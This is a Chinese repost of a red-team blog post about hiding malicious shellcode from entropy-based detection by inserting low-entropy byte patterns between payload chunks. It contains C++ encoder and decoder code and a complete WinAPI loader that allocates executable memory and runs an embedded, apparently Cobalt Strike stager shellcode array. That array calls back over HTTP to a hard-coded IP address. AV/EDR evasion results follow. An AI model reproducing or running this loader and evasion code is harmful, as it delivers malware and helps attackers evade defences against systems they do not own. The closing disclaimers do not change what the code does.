文章总结: 文档介绍了一种通过降低熵值规避恶意代码检测的技术。针对高熵Shellcode易被识别的问题,作者提出将Payload分割并在块间插入低熵字节模式的方法,以降低整体熵值。文中提供了具体的C++代码实现,演示了编码与运行时解码还原的过程。该方案旨在绕过静态熵值分析,为红队免杀提供了可操作的实战思路。 综合评分: 89 文章分类: 免杀,红队,恶意软件,漏洞POC,实战经验
越可预测越难被检测 – 利用 Shannon 编码隐藏恶意 Shellcode
kleiton0x7e kleiton0x7e
securitainment
2026年2月12日 10:25 中国香港
| 原文链接 | 作者 | | — | — | | https://kleiton0x00.github.io/posts/The-more-predictable-you-are-the-less-you-are-able-to-get-detected/ | kleiton0x7e |
最近,我在 Github 上发布了一个小型 PoC,介绍了一种通过降低熵值来隐藏 PE 中恶意 shellcode 的方法。
熵是对一组数据 (此处指 shellcode) 随机性的度量。熵值越高,数据的随机性越强。Shannon Entropy 是一种算法,其输出结果介于 0 到 8 之间,其中 8 表示数据中不存在任何模式,即随机性极高;而 0 则表示数据遵循某种规律。
高熵 shellcode 的问题
恶意代码经过加壳或混淆处理后,其熵值会随之升高。研究表明,熵值可以有效地用于区分良性代码与恶意代码。根据 Cisco 的研究:建立图像文件正常熵值范围的数据库,将有助于威胁研究人员和应急响应团队更快速地识别存在可疑数据传输行为的文件。
恶意样本的熵值通常超过 7.2,而正常软件的熵值介于 4.8 到 7.2 之间。在 30% 的恶意样本中,熵值接近 8,而仅有 1% 的良性代码会达到这一数值。超过半数的恶意样本熵值高于 7.2,但每十个正常程序中仅有一个会达到这一水平。
总而言之,并非所有恶意样本都具有高熵值 (尽管绝大多数确实如此),也并非所有合法程序都具有低熵值 (但大多数的确如此)。之所以合法样本也可能呈现高熵值,是因为加壳本身是一种合理的技术手段,用于减小可执行文件体积并保护资源,许多程序都会使用这一技术。
规避高熵算法
在研究过程中,我注意到默认的 Cobalt Strike shellcode 熵值高达 7.4,这是一个很高的数值。有多种方式可以对代码进行混淆,例如使用不会增加熵值的算法 (如 XOR 运算和 Base64 编码)。我认为后者更为便捷,但这并不意味着它是完美的。XOR 运算和 Base64 编码都很容易被解密,从而暴露代码的真实意图。此外,针对 XOR 处理后的数据以及 Base64 编码后的数据,都可以直接创建签名。最后,部分反恶意软件解决方案甚至能够在分析的仿真阶段解码这些简单的编码方案。
解决方案
既然随机性是问题的根源,那为什么不尝试通过引入特定模式来掩盖经过混淆的恶意代码,从而降低不可预测性,进而降低整体熵值呢?这样一来,你就不再局限于使用基础技术来混淆代码并规避反恶意软件解决方案的检测;而且,被混淆的代码可以是任意大小。
PoC 工作原理
核心思路是将数组分割成多个块,并在每个块之间插入低熵字节模式。当样本运行时,我们需要在内存中重建原始 payload,从而在此阶段绕过对高熵代码的静态检测。
值得注意的是,插入的低熵代码可以遵循多种不同的模式,插入的数量也可以变化,因此该方法可用于规避基于静态签名的检测。第二步是将高熵字节块与低熵字节块进行组合。
毕竟,我们最终需要将混淆后的代码恢复到初始状态,以便进入去混淆阶段,因此第三步的任务是通过删除低熵模式来还原原始字节数组。
#include<cstdio>
#include<Windows.h>
#include"Entropy.h"
usingnamespacestd;
BYTE payload[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50 ... 0x36,0x30,0x00,0x5e,0x2e,0x78,0x90 }; // Simulated high entropy code
constexprint number_of_chunks = 5; // Number of chunks. You can randomize this too.
constexprint chunk_size = sizeof payload / number_of_chunks; // Size of each chunk
constexprint remaining_bytes = sizeof payload % number_of_chunks; // Remaining bytes after the last chunk is processed
BYTE lowEntropyShellcode[sizeof payload * 2 - remaining_bytes] = {0}; // array of bytes size calculation to contain the original high entropy code plus the low entropy inserts
constexprint payload_size_after_entropy_reduction = sizeof payload * 2; // Total size of the reduced entropy payload
注意,所有这些计算都存储在全局变量中,而高熵代码也位于代码的全局区域,以确保它会被存储在可执行文件的数据段 (data section) 中。但它同样可以存放在资源段 (resources section) 中并在运行时加载。你甚至可以将高熵字节模式存储在 main 函数内部,但这样该模式就会存储在 .text 段中,并被加载到栈 (stack) 而非堆 (heap) 上——当数据存储在数据段或资源段时,它会被加载到堆上。这一点很重要,因为栈无法处理非常大的字节数组,而且当数组过大时,某些编译器也会报错。
下一步的任务是将高熵代码分割成块并添加低熵模式:
PBYTE shannonEncode(PBYTE rawShellcode)
{
constexprint max_n = 0xEF; //239
constexprint min_n = 0x01; //1
char random_hex[chunk_size];
int encodedShellcodeOffset = 0;
int shellcodeOffset = 0;
const BYTE new_n = static_cast<BYTE>((rand() % (max_n + 1 - min_n) + min_n));
for (char& i : random_hex)
{
i = static_cast<char>(new_n);
}
for (size_t i = 0; i < number_of_chunks; i++)
{
for (size_t j = 0; j < chunk_size; j++)
{
lowEntropyShellcode[encodedShellcodeOffset] = rawShellcode[shellcodeOffset];
encodedShellcodeOffset++;
shellcodeOffset++;
}
for (constchar k : random_hex)
{
lowEntropyShellcode[encodedShellcodeOffset] = k;
encodedShellcodeOffset++;
}
}
if (remaining_bytes)
{
for (size_t i = 0; i < sizeof remaining_bytes; i++)
{
lowEntropyShellcode[encodedShellcodeOffset++] = rawShellcode[shellcodeOffset++];
}
}
for (int count = 0; count < sizeof(lowEntropyShellcode); count++) {
printf("0x%02X,", lowEntropyShellcode[count]);
}
return lowEntropyShellcode;
}
下面用图形化的方式来解释。假设属于高熵块的字节用字母 “H” 表示,属于低熵块的低熵字节用字母 “L” 表示,而未经修改的剩余字节用字母 “R” 表示:
poc_logic_flow
Simple Shellcode Injection PoC
为了将 Shellcode 注入目标进程,需要使用 decoder script 将低熵 shellcode 还原为其原始状态 (高熵 shellcode)。解码完成后,通过 WinAPI 或 Syscalls 将其注入目标进程。我的 GitHub 仓库中已发布了一个简单的 Syscall PoC,这也是我通常推荐使用的方式。但如果你觉得该方案不易理解或使用,下面提供的 PoC 是一种基于 WinAPI 的原始 Shellcode 注入技术,更便于上手:
#include<windows.h>
#include<stdio.h>
//low entropy encoded CS Shellcode (size:891*2)
unsignedchar payload[] = { 0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x6A,0x00,0x49,0xBE,0x77,0x69,0x6E,0x69,0x6E,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xE6,0x4C,0x89,0xF1,0x41,0xBA,0x4C,0x77,0x26,0x07,0xFF,0xD5,0x48,0x31,0xC9,0x48,0x31,0xD2,0x4D,0x31,0xC0,0x4D,0x31,0xC9,0x41,0x50,0x41,0x50,0x41,0xBA,0x3A,0x56,0x79,0xA7,0xFF,0xD5,0xEB,0x73,0x5A,0x48,0x89,0xC1,0x41,0xB8,0xFB,0x20,0x00,0x00,0x4D,0x31,0xC9,0x41,0x51,0x41,0x51,0x6A,0x03,0x41,0x51,0x41,0xBA,0x57,0x89,0x9F,0xC6,0xFF,0xD5,0xEB,0x59,0x5B,0x48,0x89,0xC1,0x48,0x31,0xD2,0x49,0x89,0xD8,0x4D,0x31,0xC9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xBA,0xEB,0x55,0x2E,0x3B,0xFF,0xD5,0x48,0x89,0xC6,0x48,0x83,0xC3,0x50,0x6A,0x0A,0x5F,0x48,0x89,0xF1,0x48,0x89,0xDA,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x4D,0x31,0xC9,0x52,0x52,0x41,0xBA,0x2D,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x06,0x18,0x7B,0xFF,0xD5,0x85,0xC0,0x0F,0x85,0x9D,0x01,0x00,0x00,0x48,0xFF,0xCF,0x0F,0x84,0x8C,0x01,0x00,0x00,0xEB,0xD3,0xE9,0xE4,0x01,0x00,0x00,0xE8,0xA2,0xFF,0xFF,0xFF,0x2F,0x53,0x39,0x5A,0x77,0x00,0xE8,0x59,0xA8,0xFA,0xE6,0xC7,0xBA,0xD1,0xEF,0xE8,0xC9,0xF1,0x9B,0x3E,0xB5,0xD0,0xDE,0x7A,0x84,0x09,0x38,0x6D,0xE9,0xD4,0x66,0xC0,0x0A,0x66,0x1E,0x63,0x67,0x05,0x54,0xFC,0x69,0xAD,0x86,0x96,0x26,0xC9,0x13,0xF1,0x4F,0xD5,0x45,0x57,0x56,0xAF,0x42,0xDA,0xA6,0x1E,0x1E,0x0F,0x97,0x12,0xE6,0xDA,0x48,0x81,0x17,0x47,0xF3,0x9A,0xBB,0xA8,0x34,0xD1,0x95,0x3F,0x03,0xAB,0x24,0x00,0x55,0x73,0x65,0x72,0x2D,0x41,0x67,0x65,0x6E,0x74,0x3A,0x20,0x4D,0x6F,0x7A,0x69,0x6C,0x6C,0x61,0x2F,0x35,0x2E,0x30,0x20,0x28,0x63,0x6F,0x6D,0x70,0x61,0x74,0x69,0x62,0x6C,0x65,0x3B,0x20,0x4D,0x53,0x49,0x45,0x20,0x39,0x2E,0x30,0x3B,0x20,0x57,0x69,0x6E,0x64,0x6F,0x77,0x73,0x20,0x4E,0x54,0x20,0x36,0x2E,0x31,0x3B,0x20,0x54,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x72,0x69,0x64,0x65,0x6E,0x74,0x2F,0x35,0x2E,0x30,0x3B,0x20,0x58,0x42,0x4C,0x57,0x50,0x37,0x3B,0x20,0x5A,0x75,0x6E,0x65,0x57,0x50,0x37,0x29,0x0D,0x0A,0x00,0x94,0x50,0x8B,0x6D,0xE9,0x6C,0x9E,0xC5,0x99,0xA9,0x40,0xA2,0xD5,0xAF,0x41,0xAF,0xF2,0xF7,0x13,0x53,0xDF,0x67,0x28,0x56,0x8F,0xD8,0x7C,0xE0,0xB6,0xEA,0xC3,0xB4,0x16,0xEF,0x0A,0xE0,0x41,0xC4,0xEF,0x29,0x64,0x90,0xE3,0x6A,0xFE,0xBF,0xC6,0x13,0xE7,0x79,0x26,0x10,0xA2,0xB7,0x70,0xF7,0x46,0xB5,0x47,0x49,0x9E,0x45,0x3C,0x56,0xFA,0x09,0x97,0xC5,0xCC,0x9D,0x51,0xEF,0x2A,0x1D,0x59,0x03,0x70,0xC2,0x39,0x55,0xDC,0x46,0xE0,0xEF,0xC7,0x2A,0x3E,0x26,0x31,0x1E,0x66,0xF1,0x79,0xC8,0xE7,0x4A,0xB4,0x22,0x16,0xA3,0x3B,0xC0,0x4F,0x9F,0xFD,0xC5,0x34,0x6A,0x12,0xD0,0x91,0x98,0x26,0x61,0x0B,0xB6,0x32,0x2E,0x8D,0x24,0xE6,0x76,0x3B,0xFD,0x9E,0xD1,0x34,0xE0,0xFD,0xA8,0xCD,0x17,0xC6,0xB8,0x04,0xAE,0x36,0x4B,0x91,0x69,0x6D,0xB6,0xB9,0x69,0x6D,0x2A,0xBF,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x93,0x05,0x24,0x94,0xE8,0xA1,0xA3,0xF9,0xBB,0x84,0x6D,0x24,0x34,0x88,0xC1,0x59,0x8A,0xC5,0xBE,0x64,0xCE,0xFA,0x04,0x28,0xF3,0x50,0xAD,0xF0,0x14,0x14,0x5F,0xC7,0x8D,0x8C,0xD8,0xBC,0x19,0x79,0x75,0xFB,0x6B,0xB4,0xFD,0x43,0xCE,0x9D,0x4F,0x8A,0x9D,0x77,0x0E,0xFE,0xDA,0x4C,0x34,0x70,0x16,0xA8,0xC0,0xE0,0xE9,0x00,0x41,0xBE,0xF0,0xB5,0xA2,0x56,0xFF,0xD5,0x48,0x31,0xC9,0xBA,0x00,0x00,0x40,0x00,0x41,0xB8,0x00,0x10,0x00,0x00,0x41,0xB9,0x40,0x00,0x00,0x00,0x41,0xBA,0x58,0xA4,0x53,0xE5,0xFF,0xD5,0x48,0x93,0x53,0x53,0x48,0x89,0xE7,0x48,0x89,0xF1,0x48,0x89,0xDA,0x41,0xB8,0x00,0x20,0x00,0x00,0x49,0x89,0xF9,0x41,0xBA,0x12,0x96,0x89,0xE2,0xFF,0xD5,0x48,0x83,0xC4,0x20,0x85,0xC0,0x74,0xB6,0x66,0x8B,0x07,0x48,0x01,0xC3,0x85,0xC0,0x75,0xD7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xC3,0xE8,0x9F,0xFD,0xFF,0xFF,0x31,0x39,0x32,0x2E,0x31,0x36,0x38,0x2E,0x30,0x2E,0x36,0x30,0x00,0x5E,0x2E,0x78,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x90 };
constexprint cs_shellcode_length = 891; //the default length of high entropy default shellcode in cobalt strike. Change it if you are using another C2
constexprint number_of_chunks = 5; //make sure it is the same number of chunks during the encoding process
constexprint chunk_size = cs_shellcode_length / number_of_chunks;
constexprint remaining_bytes = cs_shellcode_length % number_of_chunks;
constexprint payload_size_after_entropy_reduction = cs_shellcode_length * 2;
PBYTE shannonDecode(PBYTE high_ent_payload)
{
constexprint payload_size = (payload_size_after_entropy_reduction + 1) / 2;
BYTE lowEntropyPayload[payload_size_after_entropy_reduction] = { 0 };
memcpy_s(lowEntropyPayload, sizeof lowEntropyPayload, high_ent_payload, payload_size_after_entropy_reduction);
static BYTE restored_payload[payload_size] = { 0 };
int encodedShellcodeOffset = 0;
int shellcodeOffset = 0;
for (size_t i = 0; i < number_of_chunks; i++)
{
for (size_t j = 0; j < chunk_size; j++)
{
restored_payload[shellcodeOffset] = lowEntropyPayload[encodedShellcodeOffset];
encodedShellcodeOffset++;
shellcodeOffset++;
}
for (size_t k = 0; k < chunk_size; k++)
{
encodedShellcodeOffset++;
}
}
if (remaining_bytes)
{
for (size_t i = 0; i < sizeof remaining_bytes; i++)
{
restored_payload[shellcodeOffset++] = high_ent_payload[encodedShellcodeOffset++];
}
}
return restored_payload;
}
intmain() {
//decode the low-entropy shellcode
constauto shellcode = shannonDecode(payload);
// here starts the Process Injection
// Alloc memory
LPVOID addressPointer = VirtualAlloc(NULL, cs_shellcode_length, 0x3000, 0x40);
// Copy shellcode
RtlMoveMemory(addressPointer, shellcode, cs_shellcode_length);
// Create thread pointing to shellcode address
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
// Sleep for a second to wait for the thread
Sleep(1000);
return0;
}
熵值结果
注意:以下结果仅针对 CS Shellcode 进行了测试。
~ 原始默认 Cobalt Strike shellcode
(高熵) 正常状态:7.062950
(低熵) 编码后:4.527140
~ 经过 XOR 处理的 Cobalt Strike shellcode
(高熵) 正常状态:4.583139
(低熵) 编码后:3.278284
AV/EDR 扫描结果
高熵 (左侧) 与低熵 (右侧) 默认 CS Shellcode 集成 Syscalls (Syswhispers2) 后的对比:
results-side-by-side
局限性
编码过程中,shellcode 的体积将增大为原来的 2 倍,这使得 Blue Team 及恶意软件分析人员更容易检测到此类编码后的 shellcode。
总结
降低混淆恶意代码的熵值是一种直接有效的方法;它可用于规避检测,并且在此基础上,还能为对抗签名生成提供额外的保护层。正如 Cyberbit 所述:代码熵值越低,代码经过混淆处理的可能性就越小。本文描述的代码可加以修改,构建出有助于规避基于熵值的恶意软件检测方法的解决方案。
采用不同的数学方程以及不同大小的低熵代码块来生成更优的低熵字节模式,可以进一步提升该方法的可靠性。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment kleiton0x7e kleiton0x7e《越可预测越难被检测 – 利用 Shannon 编码隐藏恶意 Shellcode》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论